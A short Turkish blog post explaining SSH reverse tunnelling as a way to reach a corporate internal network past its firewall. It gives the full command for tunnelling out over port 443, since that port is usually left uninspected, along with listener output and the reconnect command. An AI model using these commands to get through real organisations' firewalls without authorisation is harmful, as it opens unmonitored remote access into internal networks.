AG Test: reverse tunnel

<div style="text-align: justify;">Kurum ağı dışarısında bulunan bir sunucuya (SSH, VPN, DNS vb.) erişim gerçekleştirilmesi ile açık tutulan bu bağlantı üzerinden, kurum iç ağına erişim gerçekleştirilebilmesi mümkündür. En sıkça başvurulan yöntemlerden biri olan <b>SSH Reverse Tunnelling</b> yöntemide bunlardan biridir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQMIM_NRM_8flcsVvW0HnfXYz1pSI8e9sPjvFJWvWeBmURfXhtY4ws2c03Hdc_AjoaIP89RG9X-zq_VuoEIdb2ETrGKZiaEUXiKSmXI87wVcGFMdWGSkYCzNTbG4HAfe6ViThUrpo5_IFw/s1600/asd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQMIM_NRM_8flcsVvW0HnfXYz1pSI8e9sPjvFJWvWeBmURfXhtY4ws2c03Hdc_AjoaIP89RG9X-zq_VuoEIdb2ETrGKZiaEUXiKSmXI87wVcGFMdWGSkYCzNTbG4HAfe6ViThUrpo5_IFw/s400/asd.png" width="400" /></a></div><a name="more"></a><br /><div style="text-align: justify;">Yukarıdaki şekilde de ifade edilmeye çalışıldığı üzere normal şartlar altında sağ tarafta bulunan bir istemci sol tarafta tasvir edilen güvenlik duvarı arkasındaki kurum ağı içerisindeki istemcilere erişememektedir. Bunu aşmak için kurum içerisindeki bir istemci, dışarıda SSH sunucuya <b>ters tünel özellikli bağlantı</b> kurabilir. Böylelikle bir şekilde dışarıdaki bu sunucuya erişen herhangi birinin kolaylıkla kurum iç ağına erişmesi mümkün kılınabilir.</div><div style="text-align: justify;">Genellikle kurum ağlarından dışarı yönlü <b>https (443/tcp)</b> portu üzerinden kurulan bağlantılar herhangi bir denetime tabi tutulmadığı için aşağıdaki örnekte internet üzerinde yer alan ve <b>443/tcp </b>üzerinden hizmet veren bir SSH sunucu baz kullanılmıştır. SSH ile ters tünel açmak için kurum ağındaki bir istemci üzerinde aşağıdaki gibi bir komut çalıştırılabilir:</div><h4># ssh -p 443 -f -g -N  -R2222:localhost:22  kullanıcı_adı@DIS_SSH_SUNUCU</h4><div style="text-align: justify;">Bu komut aracılığı ile kurulan tünel içerisinden <b>DIS_SSH_SUNUCU’nun 2222/tcp portu</b> üzerinden yerel ağ içerisinde bulunan kullanıcı bilgisayarına erişim sağlanabilmektedir. SSH sunucu üzerindeki durum şu şekilde olmaktadır:</div><h4># netstat -nlput | grep "2222"<br />tcp        0      0 127.0.0.1:2222              0.0.0.0:*             LISTEN      12542/sshd: kullanıcı_adı</h4><div style="text-align: justify;">SSH sunucunun <b>2222/tcp</b> portu üzerinden kurum yerel alan ağındaki SSH servisi etkin istemcinin <b>22/tcp </b>portuna erişim sağlanabilmektedir. Bunun için dış ağdaki SSH sunucu üzerinde şu komutun girilmesi yeterlidir:</div><h4># ssh localhost -p 2222</h4><div style="text-align: justify;">Bu komutun sonrasında iç ağdaki istemci üzerindeki SSH servisine dair kullanıcı adı ve parola belirtilmesinin ardından <b>istemcinin erişim yetkisinin olduğu yerel ağdaki bütün kaynaklara erişim sağlanabilmektedir.</b></div>

SSH ile Tersine Tünel Açma

Kurum ağı dışarısında bulunan bir sunucuya (SSH, VPN, DNS vb.) erişim gerçekleştirilmesi ile açık tutulan bu bağlantı üzerinden, kurum iç ağ...